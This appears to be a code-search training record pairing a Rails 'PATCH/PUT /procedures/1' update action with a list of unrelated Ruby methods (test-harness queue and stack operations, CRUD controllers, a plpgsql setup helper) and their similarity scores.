bSuccess = false\n bError = true\n end\n\n when 'TOP'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'TOP Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'TOP Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'BOTTOM'\n\n if @rStack != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the stack is empty, then there is no point to index something.\n lValue = rValue = 'BOTTOM Failed, Stack is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".atIndex(\"+ @options['STACKNAME'] + \".size() -1));\\n\"\n lValueOPString = \"System.out.println(\" + @options['STACKNAME'] + \".size());\\n\"\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n end\n\n else\n lValue = rValue = 'BOTTOM Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n end\n\n\n\n #Print some meaningful information\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} Operation String: ' #{operationString.to_s}\",3)\n if lValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValueOPString: ' #{lValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValue: ' #{lValue.to_s}\",3)\n end\n if rValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValueOPString: ' #{rValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValue: ' #{rValue.to_s}\",3)\n end\n\n\n #Handle the results\n case step.look_for\n when 'NORECORD'\n when 'LVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, lValue.to_s, lType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'RVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, rValue.to_s, rType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'CHANGES'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'COMPLETED'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n else\n results.add_result( Maadi::Procedure::Result.new( step, step.look_for, 'TEXT', 'UNKNOWN' ))\n end\n rescue => e\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an error (#{e.message}).\")\n results.add_result( Maadi::Procedure::Result.new( step, e.message, 'TEXT', 'EXCEPTION' ))\n end\n else\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an unsupported step (#{procedure.id}, #{step.id}).\")\n end\n end\n end\n end\n\n\n\n\n #When finished, return the results\n return results\n end",
"def destroy\n @proceduretype.destroy\n respond_to do |format|\n format.html { redirect_to proceduretypes_url }\n format.json { head :no_content }\n end\n end",
"def create\n @pluto_process_definition = collection.new(params[:pluto_process_definition])\n\n respond_to do |format|\n if @pluto_process_definition.save\n format.html do\n flash[:success] = 'Process definition was successfully created.'\n redirect_to @core_application\n end\n format.json { render json: @pluto_process_definition, status: :created, location: @pluto_process_definition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pluto_process_definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def log_procedure( procedure )\n if Maadi::Procedure::Procedure::is_procedure?( procedure )\n t = Time.now\n File.open( @options['FILENAME'], 'a') do |f|\n f.puts \"#{t.strftime('%Y%m%d%H%M%S')}\\tPROCEDURE\\t#{procedure.key_id}\\t#{procedure.to_s}\"\n\n procedure.steps.each do |step|\n f.puts \"\\tSTEP\\t#{step.key_id}\\t#{step.id.to_s}\\t#{step.command}\\t#{step.execute}\"\n\n step.parameters.each do |parameter|\n f.puts \"\\tPARAMETER\\t#{parameter.key_id}\\t#{parameter.label}\\t#{parameter.value.to_s}\\t#{parameter.constraint.to_s}\"\n end\n end\n\n procedure.comparisons.each do |comparison|\n f.puts \"\\tCOMPARE\\t#{comparison.id}\\t#{comparison.relationship}\"\n comparison.steps.each do |item|\n f.puts \"\\t\\tSTEP\\t#{item.id}\\t#{item.key_id}\"\n end\n end\n end\n end\n end",
"def create\n monthly_slip(params)\n # secure valid input\n return render json: { msg: \"input valid number\" } unless @annual_salary > 0\n @timestamp = DateTime.now\n slip = Slip.new({\n \"time_stamp\" => @timestamp,\n \"annual_salary\" => @annual_salary,\n \"employee_name\" => @employee_name,\n \"monthly_income_tax\" => @monthly_income_tax,\n })\n if slip.save\n render json: { status: \"SUCCESS\", message: \"Saved Infotmation\", data: slip }, status: :ok\n else\n render json: { status: \"ERROR\", message: \"Information not saved\", data: slip.errors }, status: :unprocessable_entity\n end\n end",
"def operating_procedure_params\n params.permit(:op_number, :title,:file, :file_url)\n end",
"def execute(test_id, procedure)\n results = Maadi::Procedure::Results.new(test_id.to_i, 0, \"#{@type}:#{@instance_name}\", nil)\n if procedure.is_a? ( ::Maadi::Procedure::Procedure)\n results.proc_id = procedure.id\n\n procedure.steps.each do |step|\n if step.target == 'application'\n if supports_step? (step)\n\n #lValue is the item that is modified (usually the queue)\n lValue = -1\n lType = 'TEXT'\n #rValue is the item that is not modified during an operation\n rValue = -1\n rType = 'TEXT'\n\n bSuccess = false\n bError = false\n #The normal operation call\n operationString = ''\n #Used when a status update is needed, like the size of the queue after a push\n lValueOPString = ''\n rValueOPString = ''\n\n begin\n case step.id\n #Case for when a push is called\n when 'ENQUEUE'\n #Get the value to add to the push\n rValue = step.get_parameter_value('[RVALUE]')\n\n #If the queue is instantiated, then work\n if @rQueue != nil && rValue != ''\n operationString = @options['QUEUENAME'] + \".offer(\" + rValue + \");\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n\n #Error: the queue was not instantiated!\n lValue = rValue = 'ENQUEUE Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'DEQUEUE'\n #Make sure the queue is initialized.\n if @rQueue != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n if cmdResultsArray.at(2).to_i == 0\n lValue = rValue = 'DEQUEUE Failed, Queue is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n #Run the operation normally: Setup the operation string and parse for results.\n operationString = \"System.out.println(\" + @options['QUEUENAME'] + \".remove());\\n\"\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n #Set the rValue - index 2 (STDOUT)\n rValue = cmdResultsArray.at(2)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n else\n lValue = rValue = 'DEQUEUE Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'SIZE'\n if @rQueue != nil\n\n operationString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, '', '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(0)\n lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'SIZE Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n when 'ATINDEX'\n #Get the index value\n stringIndex = step.get_parameter_value('[INDEX]')\n index = stringIndex.to_i\n\n if @rQueue != nil && index != ''\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n #If the queue is empty, then there is no point to index something.\n lValue = rValue = 'ATINDEX Failed, Queue is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n elsif index >= tempSize\n # Check to make sure the index is within bounds of the size.\n lValue = rValue = 'ATINDEX Failed, requested index is larger than queue size'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n else\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".get(\" + stringIndex + \"));\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'ATINDEX Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n when 'NULCONSTRUCT'\n operationString = @options['CLASSNAME'] + \" \" + @options['QUEUENAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n #We use rQueue as an indication that the queue was created. Otherwise, pops on an uninitialized queue will occur.\n #this is to help prevent errors.\n @rQueue = true\n\n when 'NONNULCONSTRUCT'\n # CURRENTLY DOES NOT TAKE A SIZE\n operationString = @options['CLASSNAME'] + \" \" + @options['QUEUENAME'] + \" = new \" + @options['CLASSNAME'] + \"();\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation(operationString, lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n rValue = lValue = cmdResultsArray.at(2)\n rType = lType = 'INTEGER'\n\n bSuccess = true\n bError = false\n\n @rQueue = true\n when 'DETAILS'\n if @rQueue != nil\n operationString = ''\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \");\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #Set lValue - index 0 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'TEXT'\n\n bSuccess = true\n bError = false\n else\n lValue = rValue = 'DETAILS Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'PEEK'\n\n if @rQueue != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the queue is empty, then there is no point to index something.\n lValue = rValue = 'PEEK Failed, Queue is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'PEEK Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'FRONT'\n\n if @rQueue != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the queue is empty, then there is no point to index something.\n lValue = rValue = 'FRONT Failed, Queue is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".atIndex(0));\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'FRONT Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n\n when 'BACK'\n\n if @rQueue != nil\n #Need to check for size first\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n\n\n #First run the operation to check the size. If the size is zero, then flag error and exit\n cmdResultsArray = runOperation('', lValueOPString, '')\n\n #get the size\n tempSize = cmdResultsArray.at(2).to_i\n\n if tempSize == 0\n\n #If the queue is empty, then there is no point to index something.\n lValue = rValue = 'BACK Failed, Queue is empty'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n\n else\n #Everything is good, continue onward.\n rValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".atIndex(\"+ @options['QUEUENAME'] + \".size() -1));\\n\"\n lValueOPString = \"System.out.println(\" + @options['QUEUENAME'] + \".size());\\n\"\n #Run the operation\n cmdResultsArray = runOperation('', lValueOPString, rValueOPString)\n #Set lValue - index 2 (STDOUT)\n lValue = cmdResultsArray.at(2)\n lType = 'INTEGER'\n\n #Set rValue = index 4 (STDOUT)\n rValue = cmdResultsArray.at(4)\n rType = 'INTEGER'\n\n bSuccess = true\n bError = false\n end\n\n else\n lValue = rValue = 'BACK Failed, ' + @options['CLASSNAME'] + ' not instantiated'\n lType = rType = 'TEXT'\n\n bSuccess = false\n bError = true\n end\n end\n\n #Print some meaningful information\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} Operation String: ' #{operationString.to_s}\",3)\n if lValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValueOPString: ' #{lValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} lValue: ' #{lValue.to_s}\",3)\n end\n if rValue != -1\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValueOPString: ' #{rValueOPString.to_s}\",3)\n Maadi::post_message(:Info, \"#{@type}:#{@instance_name} #{step.id} rValue: ' #{rValue.to_s}\",3)\n end\n\n #Handle the results\n case step.look_for\n when 'NORECORD'\n when 'LVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, lValue.to_s, lType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'RVALUE'\n results.add_result( Maadi::Procedure::Result.new( step, rValue.to_s, rType, ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'CHANGES'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n when 'COMPLETED'\n results.add_result( Maadi::Procedure::Result.new( step, '', 'TEXT', ( !bError and bSuccess ) ? 'SUCCESS' : 'FAILURE' ))\n else\n results.add_result( Maadi::Procedure::Result.new( step, step.look_for, 'TEXT', 'UNKNOWN' ))\n end\n rescue => e\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an error (#{e.message}).\")\n results.add_result( Maadi::Procedure::Result.new( step, e.message, 'TEXT', 'EXCEPTION' ))\n end\n else\n Maadi::post_message(:Warn, \"Application (#{@type}:#{@instance_name}) encountered an unsupported step (#{procedure.id}, #{step.id}).\")\n end\n end\n end\n end\n\n #When finished, return the results\n return results\n end",
"def index\n @patient_procedures = PatientProcedure.all\n end",
"def create_proc(name, columns=[], options={}, &block)\n if select_value(\"SELECT count(oid) FROM pg_language WHERE lanname = 'plpgsql' \",\"count\").to_i == 0\n execute(\"CREATE FUNCTION plpgsql_call_handler() RETURNS language_handler AS '$libdir/plpgsql', 'plpgsql_call_handler' LANGUAGE c\")\n execute(\"CREATE TRUSTED PROCEDURAL LANGUAGE plpgsql HANDLER plpgsql_call_handler\")\n end\n\n if options[:force]\n drop_proc(name, columns) rescue nil\n end\n\n if block_given?\n execute get_proc_query(name, columns, options) { yield }\n elsif options[:resource]\n execute get_proc_query(name, columns, options)\n else\n raise StatementInvalid.new(\"Missing function source\")\n end\n end",
"def create\n @admin_pay_program = Admin::PayProgram.new(admin_pay_program_params)\n\n respond_to do |format|\n if @admin_pay_program.save\n format.html { redirect_to @admin_pay_program, notice: 'Pay program was successfully created.' }\n format.json { render :show, status: :created, location: @admin_pay_program }\n else\n format.html { render :new }\n format.json { render json: @admin_pay_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @processo = Processo.new(processo_params)\n\n if @processo.save\n render json: @processo, status: :created, location: @processo\n else\n render json: @processo.errors, status: :unprocessable_entity\n end\n end",
"def create\n @processdef = Processdef.new(params[:processdef])\n\n respond_to do |format|\n if @processdef.save\n format.html { redirect_to @processdef, notice: 'Process was successfully created.' }\n format.json { render json: @processdef, status: :created, location: @processdef }\n else\n format.html { render action: \"new\" }\n format.json { render json: @processdef.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post data\n commit data\n end",
"def procedure_subcategory_params\n params.require(:procedure_subcategory).permit(:procedure_category_id, :name, :description)\n end",
"def destroy\n @patient_procedure.destroy\n respond_to do |format|\n format.html { redirect_to patient_procedures_url, notice: 'Patient procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @hq_proc = HqProc.new(params[:hq_proc])\n \n params[:hq_proc][:new_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:existing_hq_rsrc_usage_attributes] ||= {}\n params[:hq_proc][:assigned_hq_rsrc] ||= {}\n respond_to do |format|\n if @hq_proc.save\n flash[:notice] = 'Process was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @hq_proc, :status => :created, :location => @hq_proc }\n else\n messages = '<ul>Error:'\n @hq_proc.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @hq_proc.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @procedures = @property.procedures\n end",
"def get_invoke\n repo, lang, versions, path, procedure_id =\n params.values_at(:repo, :lang, :versions, :path, :procedure_id)\n\n if p = ProcedureModel.first(id: procedure_id)\n if p.public? || user? == p.user\n shell_stream escape_path( \"=== Invoking \\\"%s\\\" Procedure ===\\n\" % p.name )\n \n commands = p.commands.split(/\\r?\\n/).reject { |c| c.strip.size == 0 }\n\n opted_versions(lang, versions).each do |version|\n commands.each do |cmd|\n rt_spawn *[lang, version, p.user, repo, path, cmd].shellify\n end\n end\n else\n rpc_stream :error, '=== Please Login ==='\n end\n end\n end",
"def create\n @verb = Verb.new(verb_params)\n\n if @verb.save\n render json: @verb, status: :created, location: @verb\n else\n render json: @verb.errors, status: :unprocessable_entity\n end\n end",
"def create\n product_name = competitor_params[:title]\n honestbee_datas = get_honestbee_data (product_name)\n predict_catalog = get_predict_catalog ( product_name )\n save_data_in_postgres (predict_catalog)\n render :json => honestbee_datas\n end",
"def create\n @profissional = Profissional.new(profissional_params)\n\n respond_to do |format|\n if @profissional.save\n format.html { redirect_to @profissional, notice: 'Profissional was successfully created.' }\n format.json { render :show, status: :created, location: @profissional }\n else\n format.html { render :new }\n format.json { render json: @profissional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @procmode = Procmode.new(procmode_params)\n\n respond_to do |format|\n if @procmode.save\n format.html { redirect_to @procmode, notice: 'Procmode was successfully created.' }\n format.json { render :show, status: :created, location: @procmode }\n else\n format.html { render :new }\n format.json { render json: @procmode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subprocess = Subprocess.new(subprocess_params)\n\n respond_to do |format|\n if @subprocess.save\n format.html { redirect_to @subprocess, notice: 'Subprocess was successfully created.' }\n format.json { render :show, status: :created, location: @subprocess }\n else\n format.html { render :new }\n format.json { render json: @subprocess.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @valued_pre_parameter = ValuedPreParameter.new(valued_pre_parameter_params)\n\n respond_to do |format|\n if @valued_pre_parameter.save\n format.html { redirect_to @valued_pre_parameter, notice: 'Valued pre parameter was successfully created.' }\n format.json { render :show, status: :created, location: @valued_pre_parameter }\n else\n format.html { render :new }\n format.json { render json: @valued_pre_parameter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @car = Car.find(params[:car_id])\n @lien_procedures = @car.lien_procedures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lien_procedures }\n end\n end",
"def destroy\n @procedure = Procedure.find(params[:id])\n @procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n end\n\n end",
"def script_params\n params.require(:script).permit( :title , :procedure)\n end",
"def create_procedure_request(fixture_path, order_name, specimen_name = nil)\n diag_order = @resources.load_fixture(fixture_path, :xml)\n diag_order.subject = @records[:patient].to_reference\n diag_order.requester = FHIR::ProcedureRequest::Requester.new unless diag_order.requester\n diag_order.requester.agent = @records[:provider].to_reference\n diag_order.supportingInfo = [@records[specimen_name].to_reference] if specimen_name\n\n create_object(diag_order, order_name)\n end"
] |
[
"0.7220727",
"0.6374066",
"0.63201404",
"0.62896657",
"0.62554693",
"0.6184696",
"0.6103198",
"0.60569865",
"0.6044619",
"0.59392524",
"0.58748585",
"0.58275014",
"0.58001006",
"0.57722145",
"0.576249",
"0.57224643",
"0.57030386",
"0.5642818",
"0.55450994",
"0.5518501",
"0.5471781",
"0.5439375",
"0.5425591",
"0.5408339",
"0.53441584",
"0.53370655",
"0.5317522",
"0.5317425",
"0.53105706",
"0.5288065",
"0.52845216",
"0.52784985",
"0.52706754",
"0.52366513",
"0.5201098",
"0.518878",
"0.5180294",
"0.5159477",
"0.5139775",
"0.5138984",
"0.51333416",
"0.5114672",
"0.51039207",
"0.51019585",
"0.509958",
"0.5088676",
"0.5087256",
"0.5079737",
"0.5072048",
"0.50710034",
"0.50710034",
"0.5065597",
"0.50646615",
"0.5052504",
"0.5051777",
"0.5031716",
"0.5025864",
"0.5021175",
"0.50148195",
"0.49949437",
"0.49854988",
"0.49838635",
"0.49831876",
"0.49800402",
"0.49737933",
"0.4932824",
"0.49250394",
"0.49249542",
"0.4918844",
"0.49098215",
"0.49077752",
"0.49035713",
"0.48799908",
"0.48653877",
"0.48623034",
"0.48621932",
"0.4860387",
"0.4858997",
"0.4852302",
"0.48494256",
"0.48432642",
"0.4842119",
"0.4839046",
"0.48333296",
"0.48318365",
"0.4829837",
"0.48274496",
"0.48271996",
"0.4815175",
"0.480718",
"0.47928214",
"0.4792387",
"0.47861874",
"0.47858408",
"0.47797635",
"0.4769322",
"0.47670057",
"0.47653264",
"0.47639728",
"0.47585025"
] |
0.55497617
|
18
|
PATCH/PUT /procedures/1 PATCH/PUT /procedures/1.json
|
def update
if params[:petition] == "update_borrador"
if procedure_params[:classification] == "ODP"
classification_procedure = 1
elsif procedure_params[:classification] == "Flagrancia"
classification_procedure = 0
else
classification_procedure = 2
end
selected_region = ""
selected_sector = ""
get_regiones
@regiones.each do |region|
if region[:codigo].to_s == procedure_params[:region].to_s
selected_region = region[:nombre]
end
region[:comunas].each do |comuna|
if comuna[:codigo].to_s == procedure_params[:sector].to_s
selected_sector = comuna[:nombre]
end
end
end
d = procedure_params[:date].to_date
t = procedure_params[:time].to_time
dateOfArrest = Time.zone.local(d.year, d.month, d.day, t.hour, t.min, t.sec)
respond_to do |format|
if @procedure.update!(classification: classification_procedure,
police_in_charge: PoliceMan.find(procedure_params[:police_in_charge]),
police_unit_in_charge: PoliceUnit.find(procedure_params[:police_unit_in_charge]),
local_prosecution_in_charge: LocalProsecution.find(procedure_params[:prosecution_in_charge]),
story: procedure_params[:story],
address: procedure_params[:address],
sector: selected_sector,
region: selected_region,
state: params[:state].to_i,
date_of_arrest: dateOfArrest,
involves_deceased: procedure_params[:involves_deceased])
if procedure_params[:deletedAccusseds] != nil
if procedure_params[:deletedAccusseds].length() < @procedure.person_in_procedures.where(role: 0).length() + procedure_params[:accuseds].length()
procedure_params[:deletedAccusseds].each do |accussed|
personInProcedure = PersonInProcedure.find(accussed[:id])
personInProcedure.destroy!
end
else
@procedure.errors.add(:person_in_procedure, "se necesita al menos un imputado")
format.json { render json: @procedure.errors, status: :unprocessable_entity }
return
end
end
if procedure_params[:deletedVictims] != nil
procedure_params[:deletedVictims].each do |victim|
personInProcedure = PersonInProcedure.find(victim[:id])
personInProcedure.destroy!
end
end
if procedure_params[:deletedWitnesses] != nil
procedure_params[:deletedWitnesses].each do |witness|
personInProcedure = PersonInProcedure.find(witness[:id])
personInProcedure.destroy!
end
end
if procedure_params[:deleted_photos] != nil
procedure_params[:deleted_photos].each do |photo|
photoInProcedure = Photo.find(photo)
photoInProcedure.destroy!
end
end
if procedure_params[:deleted_videos] != nil
procedure_params[:deleted_videos].each do |video|
videoInProcedure = Video.find(video)
videoInProcedure.destroy!
end
end
if procedure_params[:deleted_documents] != nil
procedure_params[:deleted_documents].each do |doc|
docInProcedure = Document.find(doc)
docInProcedure.destroy!
end
end
if procedure_params[:photos] != nil
procedure_params[:photos].each_with_index do |photo,i|
@photo = Photo.new(description: procedure_params[:photo_descriptions][i], procedure: @procedure)
@photo.photo.attach(photo)
@photo.save!
end
end
if procedure_params[:videos] != nil
procedure_params[:videos].each_with_index do |video,i|
@video = Video.new(description: procedure_params[:video_descriptions][i], procedure: @procedure)
@video.video.attach(video)
@video.save!
end
end
if procedure_params[:documents] != nil
procedure_params[:documents].each_with_index do |document,i|
@document = Document.new(description: procedure_params[:document_descriptions][i],name: procedure_params[:document_names][i], procedure: @procedure)
@document.document.attach(document)
@document.save!
end
end
@procedure.taggings.destroy_all
procedure_params[:tag_ids][1..procedure_params[:tag_ids].size].each do |tag|
@tag = Tagging.new(tag: Tag.find_by_name(tag),
procedure: @procedure)
@tag.save
end
#destruimos todos los crimenes, para asi crearlos denuevo y no tener problemas
@procedure.crime_in_accuseds.destroy_all
#si hay imputados nuevos
if procedure_params[:accuseds]
procedure_params[:accuseds].each do |accused|
#los creamos
@criminal = Person.new(name: accused[:name],
rut: accused[:rut])
if @criminal.save!
#lo agregamos al procedimiento
@criminal_in_procedure = PersonInProcedure.new(role: 0,
person: @criminal,
procedure: @procedure,
state: 0)
@criminal_in_procedure.save
@criminal_alias = AliasAccused.new(alias: accused[:alias],
person: @criminal)
@criminal_alias.save
#si hay crimenes nuevos
if procedure_params[:crimes]
procedure_params[:crimes].each do |crime|
#se los agregamos al acusado
@crime_in_accused = CrimeInAccused.new(preponderant: false,
crime: Crime.find_by_name(crime),
person: @criminal,
procedure: @procedure)
@crime_in_accused.save
end
end
#le agregamos el delito preponderante al acusado
@preponderan_crime_in_accused = CrimeInAccused.new(preponderant: true,
crime: Crime.find_by_name(procedure_params[:preponderant_crime]),
person: @criminal,
procedure: @procedure)
@preponderan_crime_in_accused.save
end
end
